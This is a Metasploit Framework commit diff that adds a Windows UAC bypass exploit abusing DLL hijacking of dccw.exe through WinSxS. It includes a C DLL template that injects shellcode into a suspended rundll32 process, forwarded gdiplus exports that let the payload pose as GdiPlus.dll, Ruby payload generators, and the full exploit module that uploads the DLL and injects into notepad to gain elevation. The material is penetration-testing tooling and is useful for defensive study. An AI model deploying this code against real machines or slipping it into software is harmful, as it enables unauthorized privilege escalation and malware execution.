Fix conflicts in PR 8509 by mergeing to master
commit
7df18e378d
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,24 @@
|
|||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i686-w64-mingw32
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
|
@ -0,0 +1,97 @@
|
|||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
EXPORTS
|
||||
DllMain@12
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
|
||||
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
|
||||
#pragma comment (linker, "/export:GdipCloneImage=c:/windows/system32/gdiplus.GdipCloneImage,@50")
|
||||
#pragma comment (linker, "/export:GdipCreateBitmapFromStream=c:/windows/system32/gdiplus.GdipCreateBitmapFromStream,@74")
|
||||
#pragma comment (linker, "/export:GdipCreateFromHDC=c:/windows/system32/gdiplus.GdipCreateFromHDC,@84")
|
||||
#pragma comment (linker, "/export:GdipCreateHBITMAPFromBitmap=c:/windows/system32/gdiplus.GdipCreateHBITMAPFromBitmap,@87")
|
||||
#pragma comment (linker, "/export:GdipCreateLineBrushI=c:/windows/system32/gdiplus.GdipCreateLineBrushI,@97")
|
||||
#pragma comment (linker, "/export:GdipCreateSolidFill=c:/windows/system32/gdiplus.GdipCreateSolidFill,@122")
|
||||
#pragma comment (linker, "/export:GdipDeleteBrush=c:/windows/system32/gdiplus.GdipDeleteBrush,@130")
|
||||
#pragma comment (linker, "/export:GdipDeleteGraphics=c:/windows/system32/gdiplus.GdipDeleteGraphics,@135")
|
||||
#pragma comment (linker, "/export:GdipDisposeImage=c:/windows/system32/gdiplus.GdipDisposeImage,@143")
|
||||
#pragma comment (linker, "/export:GdipFillRectangleI=c:/windows/system32/gdiplus.GdipFillRectangleI,@219")
|
||||
#pragma comment (linker, "/export:GdipFree=c:/windows/system32/gdiplus.GdipFree,@225")
|
||||
#pragma comment (linker, "/export:GdiplusShutdown=c:/windows/system32/gdiplus.GdiplusShutdown,@608")
|
||||
#pragma comment (linker, "/export:GdiplusStartup=c:/windows/system32/gdiplus.GdiplusStartup,@609")
|
||||
#endif
|
||||
#ifdef __GNUC__
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc @34\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush @46\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipCloneImage=c:/windows/system32/gdiplus.GdipCloneImage @50\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipCreateBitmapFromStream=c:/windows/system32/gdiplus.GdipCreateBitmapFromStream @74\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipCreateFromHDC=c:/windows/system32/gdiplus.GdipCreateFromHDC @84\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipCreateHBITMAPFromBitmap=c:/windows/system32/gdiplus.GdipCreateHBITMAPFromBitmap @87\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipCreateLineBrushI=c:/windows/system32/gdiplus.GdipCreateLineBrushI @97\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipCreateSolidFill=c:/windows/system32/gdiplus.GdipCreateSolidFill @122\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipDeleteBrush=c:/windows/system32/gdiplus.GdipDeleteBrush @130\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipDeleteGraphics=c:/windows/system32/gdiplus.GdipDeleteGraphics @135\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipDisposeImage=c:/windows/system32/gdiplus.GdipDisposeImage @143\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipFillRectangleI=c:/windows/system32/gdiplus.GdipFillRectangleI @219\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdipFree=c:/windows/system32/gdiplus.GdipFree @225\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdiplusShutdown=c:/windows/system32/gdiplus.GdiplusShutdown @608\"");
|
||||
asm (".section .drectve\n\t.ascii \" -export:GdiplusStartup=c:/windows/system32/gdiplus.GdiplusStartup @609\"");
|
||||
#endif
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
|
||||
LANGUAGE 9, 1
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 0,0,0,1
|
||||
PRODUCTVERSION 0,0,0,1
|
||||
FILEFLAGSMASK 0x17L
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS 0x4L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
|
||||
END
|
||||
|
||||
#define RT_HTML 23
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -46,7 +46,7 @@ extern "C" {
|
|||
break;
|
||||
}
|
||||
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
|
||||
break;
|
||||
|
|
|
@ -138,6 +138,28 @@ module Exploit::EXE
|
|||
dll
|
||||
end
|
||||
|
||||
def generate_payload_dccw_gdiplus_dll(opts = {})
|
||||
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
plat = opts[:platform]
|
||||
pl = opts[:code]
|
||||
|
||||
pl ||= payload.encoded
|
||||
|
||||
#Ensure opts[:arch] is an array
|
||||
opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array
|
||||
if opts[:arch] && opts[:arch].index(ARCH_X64)
|
||||
dll = Msf::Util::EXE.to_win64pe_dccw_gdiplus_dll(framework, pl, opts)
|
||||
else
|
||||
dll = Msf::Util::EXE.to_win32pe_dccw_gdiplus_dll(framework, pl, opts)
|
||||
end
|
||||
|
||||
exe_post_generation(opts)
|
||||
dll
|
||||
end
|
||||
|
||||
def generate_payload_msi(opts = {})
|
||||
return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['MSI::EICAR']
|
||||
|
|
|
@ -706,6 +706,49 @@ require 'msf/core/exe/segment_appender'
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
# self.to_win32pe_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :exe_type
|
||||
# @option [String] :dll
|
||||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
self.to_win32pe(framework, code, opts)
|
||||
else
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
end
|
||||
|
||||
# self.to_win64pe_dll
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :exe_type
|
||||
# @option [String] :dll
|
||||
# @option [String] :inject
|
||||
# @return [String]
|
||||
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
|
||||
opts[:exe_type] = :dll
|
||||
|
||||
if opts[:inject]
|
||||
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
|
||||
else
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
end
|
||||
|
||||
# Wraps an executable inside a Windows .msi file for auto execution when run
|
||||
#
|
||||
# @param framework [Msf::Framework] The framework of you want to use
|
||||
|
@ -1057,18 +1100,7 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit x86 Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :template
|
||||
# @return [String] Returns an elf
|
||||
def self.to_linux_x86_elf_dll(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# Create a 64-bit x86_64 Linux ELF_DYN containing the payload provided in +code+
|
||||
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
@ -1079,18 +1111,7 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# Create a 64-bit AARCH64 Linux ELF containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :template
|
||||
# @return [String] Returns an elf
|
||||
def self.to_linux_aarch64_elf(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit ARMLE Linux ELF containing the payload provided in +code+
|
||||
# self.to_linux_mipsle_elf
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
@ -1101,18 +1122,7 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit ARMLE Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :template
|
||||
# @return [String] Returns an elf
|
||||
def self.to_linux_armle_elf_dll(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit MIPSLE Linux ELF containing the payload provided in +code+
|
||||
# self.to_linux_mipsle_elf
|
||||
# Little Endian
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
@ -1123,7 +1133,7 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit MIPSBE Linux ELF containing the payload provided in +code+
|
||||
# self.to_linux_mipsbe_elf
|
||||
# Big Endian
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
|
|
@ -0,0 +1,436 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::EXE
|
||||
include Exploit::FileDropper
|
||||
include Post::File
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::ReflectiveDLLInjection
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',
|
||||
'Description' => %q{
|
||||
This module will bypass Windows UAC by utilizing the trusted publisher
|
||||
certificate through process injection. It will spawn a second shell that
|
||||
has the UAC flag turned off by abusing the way "WinSxS" works in Windows
|
||||
systems. This module uses the Reflective DLL Injection technique to drop
|
||||
only the DLL payload binary instead of three seperate binaries in the
|
||||
standard technique. However, it requires the correct architecture to be
|
||||
selected, (use x64 for SYSWOW64 systems also).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[
|
||||
'URL', 'https://github.com/L3cr0f/DccwBypassUAC'
|
||||
]
|
||||
],
|
||||
'DisclosureDate'=> 'Apr 06 2017'
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Validate that we can actually do things before we bother
|
||||
# doing any more work
|
||||
validate_environment!
|
||||
check_permissions!
|
||||
|
||||
# Get all required environment variables in one shot instead. This
|
||||
# is a better approach because we don't constantly make calls through
|
||||
# the session to get the variables.
|
||||
env_vars = get_envs('TEMP', 'WINDIR')
|
||||
|
||||
# Get UAC level so as to verify if the module will be successful
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
shell_execute_exe
|
||||
return
|
||||
end
|
||||
|
||||
dll_path = bypass_dll_path
|
||||
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
|
||||
|
||||
# Establish the folder pattern so as to get those folders that match it
|
||||
sysarch = sysinfo['Architecture']
|
||||
if sysarch == ARCH_X86
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
|
||||
else
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
|
||||
end
|
||||
|
||||
directoryNames = get_directories(payload_filepath, targetedDirectories)
|
||||
create_directories(payload_filepath, directoryNames)
|
||||
upload_payload_dll(payload_filepath, directoryNames)
|
||||
|
||||
pid = spawn_inject_proc(env_vars['WINDIR'])
|
||||
|
||||
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
|
||||
run_injection(pid, dll_path, file_paths)
|
||||
end
|
||||
|
||||
# Path to the bypassuac binary and architecture payload checking
|
||||
def bypass_dll_path
|
||||
path = ::File.join(Msf::Config.data_directory, 'post')
|
||||
|
||||
sysarch = sysinfo['Architecture']
|
||||
if sysarch == ARCH_X86
|
||||
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
|
||||
else
|
||||
::File.join(path, "bypassuac-x86.dll")
|
||||
end
|
||||
else
|
||||
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
|
||||
else
|
||||
::File.join(path, "bypassuac-x64.dll")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the compromised user matches some requirements
|
||||
def check_permissions!
|
||||
# Check if you are an admin
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
|
||||
# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
|
||||
def run_injection(pid, dll_path, file_paths)
|
||||
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
||||
begin
|
||||
path_struct = create_struct(file_paths)
|
||||
|
||||
vprint_status("Opening process #{pid}")
|
||||
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
||||
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
|
||||
|
||||
vprint_status("Injecting struct into #{pid}")
|
||||
struct_addr = host_process.memory.allocate(path_struct.length)
|
||||
host_process.memory.write(struct_addr, path_struct)
|
||||
|
||||
vprint_status('Executing payload')
|
||||
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
|
||||
print_good("Successfully injected payload in to process: #{pid}")
|
||||
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Failed to Inject Payload to #{pid}!")
|
||||
vprint_error(e.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
# Create a process in the native architecture
|
||||
def spawn_inject_proc(win_dir)
|
||||
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
cmd = "#{win_dir}\\sysnative\\notepad.exe"
|
||||
else
|
||||
cmd = "#{win_dir}\\System32\\notepad.exe"
|
||||
end
|
||||
pid = cmd_exec_get_pid(cmd)
|
||||
|
||||
unless pid
|
||||
fail_with(Failure::Unknown, 'Spawning Process failed...')
|
||||
end
|
||||
|
||||
pid
|
||||
end
|
||||
|
||||
# Upload only one DLL, the rest will be copied into the specific folders
|
||||
def upload_payload_dll(payload_filepath, directoryNames)
|
||||
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
|
||||
payload = generate_payload_dccw_gdiplus_dll({:dll_exitprocess => true})
|
||||
print_status('Uploading the Payload DLL to the filesystem...')
|
||||
begin
|
||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
|
||||
write_file(dllPath, payload)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
if directoryNames.size > 1
|
||||
copy_payload_dll(directoryNames, dllPath)
|
||||
end
|
||||
end
|
||||
|
||||
# Copy our DLL to all created folders, the first folder already have a copy of the DLL
|
||||
def copy_payload_dll(directoryNames, dllPath)
|
||||
1.step(directoryNames.size - 1, 1) do |i|
|
||||
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
|
||||
print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the environment is vulnerable to the exploit
|
||||
def validate_environment!
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
|
||||
winver = sysinfo['OS']
|
||||
|
||||
case winver
|
||||
when /Windows (8|10)/
|
||||
print_good("#{winver} may be vulnerable.")
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
else
|
||||
unless is_in_admin_group?
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Creating the necessary directories to perform the DLL hijacking
|
||||
# Since we don't know which path "dccw.exe" will choose, we create
|
||||
# all the directories that match with the initial pattern
|
||||
def create_directories(payload_filepath, directoryNames)
|
||||
env_vars = get_envs('TEMP')
|
||||
|
||||
print_status("Creating temporary folders...")
|
||||
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
|
||||
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
|
||||
end
|
||||
|
||||
directoryNames.each do |dirName|
|
||||
if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
|
||||
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Get all the directories that match with the initial pattern
|
||||
def get_directories(payload_filepath, targetedDirectories)
|
||||
directoryNames = []
|
||||
findFileDataSize = 592
|
||||
maxPath = client.railgun.const("MAX_PATH")
|
||||
fileNamePadding = 44
|
||||
|
||||
hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
|
||||
if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")
|
||||
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
|
||||
end
|
||||
|
||||
findFileData = hFile['lpFindFileData']
|
||||
moreFiles = true
|
||||
until moreFiles == false do
|
||||
fileAttributes = findFileData[0, 4].unpack('V').first
|
||||
andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY")
|
||||
if andOperation
|
||||
#Removes the remainder part composed of 'A' of the path and the last null character
|
||||
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split('AAA')[0]
|
||||
path = "#{payload_filepath}\\#{normalizedData[0, normalizedData.length - 1]}"
|
||||
directoryNames.push(path)
|
||||
end
|
||||
|
||||
findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
|
||||
moreFiles = findNextFile['return']
|
||||
findFileData = findNextFile['lpFindFileData']
|
||||
end
|
||||
|
||||
if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
|
||||
fail_with(Failure::Unknown, "Cannot get the targeted directories!")
|
||||
end
|
||||
|
||||
directoryNames
|
||||
end
|
||||
|
||||
# Store the necessary paths into a struct
|
||||
def get_file_paths(win_path, payload_filepath)
|
||||
paths = {}
|
||||
paths[:szElevDll] = 'dccw.exe.Local'
|
||||
paths[:szElevDir] = "#{win_path}\\System32"
|
||||
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"
|
||||
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"
|
||||
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
|
||||
paths[:szTempDllPath] = payload_filepath
|
||||
|
||||
paths
|
||||
end
|
||||
|
||||
# Creates the paths struct which contains all the required paths
|
||||
# the dll needs to copy/execute etc.
|
||||
def create_struct(paths)
|
||||
|
||||
# Write each path to the structure in the order they
|
||||
# are defined in the bypass uac binary.
|
||||
struct = ''
|
||||
struct << fill_struct_path(paths[:szElevDir])
|
||||
struct << fill_struct_path(paths[:szElevDirSysWow64])
|
||||
struct << fill_struct_path(paths[:szElevDll])
|
||||
struct << fill_struct_path(paths[:szElevDllFull])
|
||||
struct << fill_struct_path(paths[:szElevExeFull])
|
||||
struct << fill_struct_path(paths[:szTempDllPath])
|
||||
|
||||
struct
|
||||
end
|
||||
|
||||
def fill_struct_path(path)
|
||||
path = Rex::Text.to_unicode(path)
|
||||
path + "\x00" * (520 - path.length)
|
||||
end
|
||||
|
||||
# When a new session is obtained, it removes the dropped elements (files and folders)
|
||||
def on_new_session(session)
|
||||
if session.type == 'meterpreter'
|
||||
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
|
||||
end
|
||||
remove_dropped_elements(session)
|
||||
end
|
||||
|
||||
# Remove all the created and dropped files and folders
|
||||
def remove_dropped_elements(session)
|
||||
droppedElements = []
|
||||
|
||||
env_vars = get_envs('TEMP', 'WINDIR')
|
||||
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
|
||||
|
||||
sysarch = sysinfo['Architecture']
|
||||
if sysarch == ARCH_X86
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*"
|
||||
else
|
||||
targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*"
|
||||
end
|
||||
|
||||
directoryNames = get_directories(payload_filepath, targetedDirectories)
|
||||
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
|
||||
|
||||
# Remove all dropped elements (files and folders)
|
||||
remove_dlls(session, directoryNames, file_paths, droppedElements)
|
||||
remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
|
||||
remove_dot_local_folders(session, file_paths, droppedElements)
|
||||
|
||||
# Check if the removal was successful
|
||||
removal_checking(droppedElements)
|
||||
end
|
||||
|
||||
# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
|
||||
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
|
||||
def remove_dlls(session, directoryNames, file_paths, droppedElements)
|
||||
directoryNames.each do |dirName|
|
||||
directoryName = dirName.split("\\").last
|
||||
|
||||
begin
|
||||
droppedElements.push("#{dirName}\\GdiPlus.dll")
|
||||
